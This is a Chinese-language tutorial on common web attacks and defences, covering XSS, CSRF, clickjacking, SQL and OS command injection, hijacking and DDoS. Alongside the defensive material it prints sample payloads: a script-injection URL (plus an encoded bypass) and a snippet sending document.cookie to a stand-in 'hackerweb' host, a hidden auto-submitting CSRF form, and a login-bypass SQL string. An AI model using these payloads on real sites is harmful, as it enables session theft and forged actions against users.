常见Web攻击和防御

2,645 阅读9分钟

1. XSS 跨站脚本攻击 (Cross Site Scripting)

攻击方式

1. 反射型 - url参数注入

场景: 诱导已登陆用户点击有害链接(较明显)

链接内容:

  1. 注入攻击站脚本 http://Aweb/?from=<script src="http://hackerWeb/hack.js"></script>
  2. 短域名伪造, 会重定向到有脚本注入的url https://dwz.cm

http://hackerweb/hack.js会窃取用户登录态信息等, 如document.cookie 利用img等html元素发送向hackerweb发送带有cookie信息的请求, 从而黑客后台可获取到登录态信息

2. 存储型 - 将script标签注入到数据库

场景:

在网站的评论里(任何能够保存内容的地方)输入带有攻击脚本的文本, 提交后存入数据库, 再次渲染时攻击脚本执行

危害

杀伤力较大, 相当于完全控制网站

  • 获取cookie
document.cookie = "myweb:session=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTcxNTQxMTM5ODI2LCJfbWF4QWdlIjo4NjQwMDAwMH0="
// 直接获取登录态
  • 发送请求 获取登录态 cookie
var img = new Image()
img.src='http://hackerweb/img?c='+document.cookie
  • 获取页面数据
  • 修改前端逻辑
  • 窃取一切前端可达数据: 用户资料, 登录密码...

防御 (5种)

1. 转义字符 防止在不必要的地方渲染script标签

尖括号 <script> 转义为 &lt;p&gt; 不允许渲染不受信任的脚本 - 转义html标签 设置转义黑名单, 白名单:

// 黑名单
function escape(str) {
  str = str.replace(/&/g, '&amp;');
  str = str.replace(/</g, '&lt;');
  str = str.replace(/>/g, '&gt;');
  str = str.replace(/"/g, '&quto;');
  str = str.replace(/'/g, '&#39;');
  str = str.replace(/`/g, '&#96;');
  str = str.replace(/\//g, '&#x2F;');
  return str;
}

// 白名单
const xss = require('xss');
let html = xss('<h1 id="title">XSS Demo</h1><script>alert("xss");</script>');
// -> <h1>XSS Demo</h1>&lt;script&gt;alert("xss");&lt;/script&gt;
console.log(html);

2. 防止执行跨站脚本: 设置 HTTP请求头 X-XSS-Protection

X-XSS-Protection report-uri

// ctx.set('X-XSS-Protection', 0) // 禁用XSS过滤
ctx.set('X-XSS-Protection', 1) // 默认 检测到XSS, 清除攻击脚本
ctx.set('X-XSS-Protection', '1;mode=block') // 检测到XSS, 禁止加载页面
ctx.set('X-XSS-Protection', '1;report=(Chromium only);') // 检测到XSS,清除页面并使用CSP report-uri 指令的功能发送违规 报告

测试:

攻击Url: http://Aweb/?from=<script src="http://hackerWeb/hack.js"></script>

当网站发现在请求里面有脚本, 不会执行. 报错:

The XSS Auditor refused to execute a script in 'http://Aweb/?from=<script>src="http://hackerWeb/hack.js"></script>' because its source code was found within the request. The server sent an 'X-XSS-Protection' header requesting this behavior.

!!!但是!!! 伪装一下就不行了! 以下url还是可以攻击成功:

http://Aweb/?from=%3Cscript%20src=%22http://hackerWeb/hack.js%22%3E%3C/script%3E

3. 防止执行跨站脚本: 设置 HTTP请求头 Content-Security-Policy CSP

内容安全策略Content-Security-Policy

ctx.set('Content-Security-Policy', "default-src 'self'") // 只允许加载本站资源
ctx.set('Content-Security-Policy', "img-src https://*") // 只允许加载HTTPS协议图片
ctx.set('Content-Security-Policy', "child-src 'none'") // 不允许加载任何来源的框架
ctx.set('Content-Security-Policy', "default-src 'self'; img-src https://*; child-src 'none';") // 多条规则

CSP指令:

  • default-src:为其他取指令提供备用服务fetch directives.
  • style-src: 限制层叠样式表文件源
  • script-src: 限制JavaScript的源地址.
  • connect-src:限制能通过脚本接口加载的URL.
  • img-src: 限制图片和图标的源地址
  • child-src: 为 web workers 和其他内嵌浏览器内容(例如用和加载到页面的内容)定义合法的源地址.
  • frame-src: 设置允许通过类似和标签加载的内嵌内容的源地址.
  • worker-src: 限制Worker、SharedWorker或者ServiceWorker脚本源.
  • 更多: developer.mozilla.org/zh-CN/docs/…
  • 检测到不符合安全策略的内容, 报错:

    Refused to load the script 'http://hackerWeb/hack.js' because it violates the following Content Security Policy directive: "default-src 'self'". Note that 'script-src-elem' was not explicitly set, so 'default-src' is used as a fallback.

    Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'self'". Either the 'unsafe-inline' keyword, a hash ('sha256-/sz5i86yQrlPk/hMZhdtTKsWxRVMISnvj5RnrlV7w8E='), or a nonce ('nonce-...') is required to enable inline execution. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.

    Refused to load the image 'http://hackerWeb/img?c=_ga=GA1.1.557044541.1556580180;%20ts_uid=6282400925;%20QQLivePCVer=50190525;%20_pk_id.1.1fff=2b81c7431dcf3ca2.1554538852.13.1564828889.1564827023.;%20kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTcxNTQxMTM5ODI2LCJfbWF4QWdlIjo4NjQwMDAwMH0=' because it violates the following Content Security Policy directive: "img-src https://*".

    4. 防止窃取cookie: 设置相应请求头 Set-Cookie HttpOnly

    预防cookie被窃取, 无法通过document.cookie获取信息, 浏览器依然会在请求自动带上cookie 是预防XSS攻击窃取用户cookie最有效的防御手段!

    // 设置Cookie时, 设置为HttpOnly
    response.addHeader('Set-Cookie', 'uid=112; Path=/; HttpOnly')
    

    2. CSRF 跨站请求伪造 (Cross Site Request Forgery)

    CSRF 利用用户已登录的身份, 在用户毫不知情的情况下,以用户的名义完成非法操作

    攻击方式

    场景:

    • 用户已经登录了站点 A,并在本地记录了 cookie
    • 在用户没有登出站点 A 的情况下(也就是 cookie 生效的情况下),访问了恶意攻击者提供的引诱危险站点 B (B 站点要求访问站点A).
    • 站点 A 没有做任何 CSRF 防御

    模拟发送请求(伪造请求), 因为普通用户已经登录, 模拟请求会带上登录态cookie, 从而可以操作(攻击)成功 不直接获取cookie, 利用浏览器行为, 利用登录态

          document.write(`
          <form name="form" action="http://Aweb/updateText" method="post" target="csrf">
            添加评论: <input type="text" name="text" value="CSRF评论.." />
          </form>
          `)
          var iframe = document.createElement('iframe') // 静默加载
          iframe.name = 'csrf'
          iframe.style.display = 'none'
          document.body.appendChild(iframe)
          setTimeout(function() {
            document.querySelector('form').submit(); // 默默提交请求
          },1000)
        </script>
    

    危害

    • 利用用户登录态
    • 用户不知情时攻击
    • 完成业务请求
    • 盗取用户资金(转账,消费)
    • 冒充用户发帖背锅
    • 损害网站声誉

    防御

    1. Referer Check

    验证Header的 Referer字段 是本站地址才允许通过

    缺点:仅对Http有效, Https不发送referer

    2. 验证码

    请求需要验证码辅助

    缺点: 用户体验不好, 较麻烦

    一般只用于关键请求中

    3. Cookie值进行hash

    攻击者在访问信任网站A时, 虽然浏览器可以在请求中带上cookie, 但网站A可以不仅仅通过cookie来验证用户身份, 同时还验证 给用户发送内容时生成的伪随机数, 双重验证, 这个伪随机数 不能利用浏览器机制自动加到cookie上, 需要在脚本里面加上, 从而让CSRF攻击者无法利用伪随机数, 也就无法通过验证 用于多数请求中

    3. ClickJacking 点击劫持 (视觉欺骗)

    攻击方式

    既不窃取cookie也不利用cookie, 视觉上欺骗用户主动进行操作

    场景:

    在攻击网站上嵌入 渲染网站A的frame, 并设置为透明, 在攻击网站设计一些按钮或input 精准对准网站A的按钮或input, 用户操作时实际上不知道自己在网站A做了什么, 从而达到欺骗用户的目的

    危害

    • 用户不知情时攻击, 执行了用户不希望的操作

    防御

    1. X-Frame-Options

    X-Frame-Options

    ctx.set('X-Frame-Options', 'deny') //表示该页面不允许在 frame 中展示,即便是在相同域名的页面中嵌套也不允许.
    ctx.set('X-Frame-Options', 'sameorigin') // 表示该页面可以在相同域名页面的 frame 中展示.
    ctx.set('X-Frame-Options', 'allow-from: https://example.com/') // 表示该页面可以在指定来源的 frame 中展示. !!!(Chrome不支持 Firefox支持)
    

    2. js自身通过frame的方式加载内容是破坏自身

    是一种比较原始的解决方案

        if(self !== top) { // 从frame加载
          self.document.body.style.display = 'NONE';// 隐藏或删除body的内容
          self.document.body.innerHTML = ''
        }
    

    4. SQL注入

    针对数据库的注入

    攻击方式

    场景: 输入特殊字符串, 传入后台拼接SQL查询字符串, 使其查询结果为真 密码输入 1' or '1' = '1' 后台查询密码时返回 '1' = '1'的结果, 为真

    危害

    • 虚假登录
    • ...

    防御

    1. 数据使用传参的方式, 不使用字符串拼接的方式

    所有的查询语句建议使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌 入到 SQL 语句中,即不要直接拼接 SQL 语句.例如 Node.js 中的 mysqljs 库的 query 方法中的 ? 占位参数.

    2. 数据校验

    后端代码检查输入的数据是否符合预期格式,严格限制变量的类型,例如使用正则表达式进行一些匹配处理

    3. 严格的权限管理

    严格限制Web应用的数据库的操作权限,给此用户提供仅仅能够满足其工作的最低权限,从而最大限度的 减少注入攻击对数据库的危害

    4. 特殊字符转义

    对进入数据库的特殊字符(',",,<,>,&,*,; 等)进行转义处理,或编码转换.基本上所有的后端 语言都有对字符串进行转义处理的方法,比如 lodash 的 lodash._escapehtmlchar 库.

    5. OS命令注入

    攻击方式

    针对操作系统的注入 OS命令注入和SQL注入差不多,只不过SQL注入是针对数据库的,而OS命令注入是针对操作系统的. OS命令注入攻击指 通过Web应用,执行非法的操作系统命令达到攻击的目的. 只要在能调用Shell函数的地方就有存在被攻击的风险.倘 若调用Shell时存在疏漏,就可以执行插入的非法命令.

    场景:

    system命令注入

    危害

    • 恶意删除文件
    • 恶意下载执行程序
    • ...

    防御

    类似 SQL注入防御方法

    6. 请求劫持 (DNS劫持 HTTP劫持)

    DNS劫持

    顾名思义, DNS服务器(DNS解析各个步骤)被篡改,修改了域名解析的结果,使得访问到的不是预期的ip

    HTTP劫持

    运营商劫持 防御: 此时大概只能升级HTTPS了

    7. DDOS (distributed denial of service)

    DDOS 攻击的防范教程

    不是一种攻击,而是一大类攻击的总称.它有几十种类型,新的攻击方法还在不断发明出来.网站运行的各 个环节,都可以是攻击目标.只要把一个环节攻破,使得整个流程跑不起来,就达到了瘫痪服务的目的

    常见攻击方式

    SYN Flood

    此攻击通过向目标发送具有欺骗性源IP地址的大量TCP"初始连接请求"SYN数据包来利用TCP握手.目标机器 响应每个连接请求,然后等待握手中的最后一步,这一步从未发生过,耗尽了进程中的目标资源.

    HTTP Flood

    此攻击类似于同时在多个不同计算机上反复按Web浏览器中的刷新 - 大量HTTP请求泛滥服务器,导致拒绝服 务.

    防御

    1. 备份网站

    备份网站不一定是全功能的,如果能做到全静态浏览,就能满足需求.最低限度应该可以显示公告,告诉用户, 网站出了问题,正在全力抢修.

    2. HTTP 请求的拦截 高防IP -靠谱的运营商 多个 Docker

    硬件 服务器 防火墙

    3. 带宽扩容 + CDN

    提高犯罪成本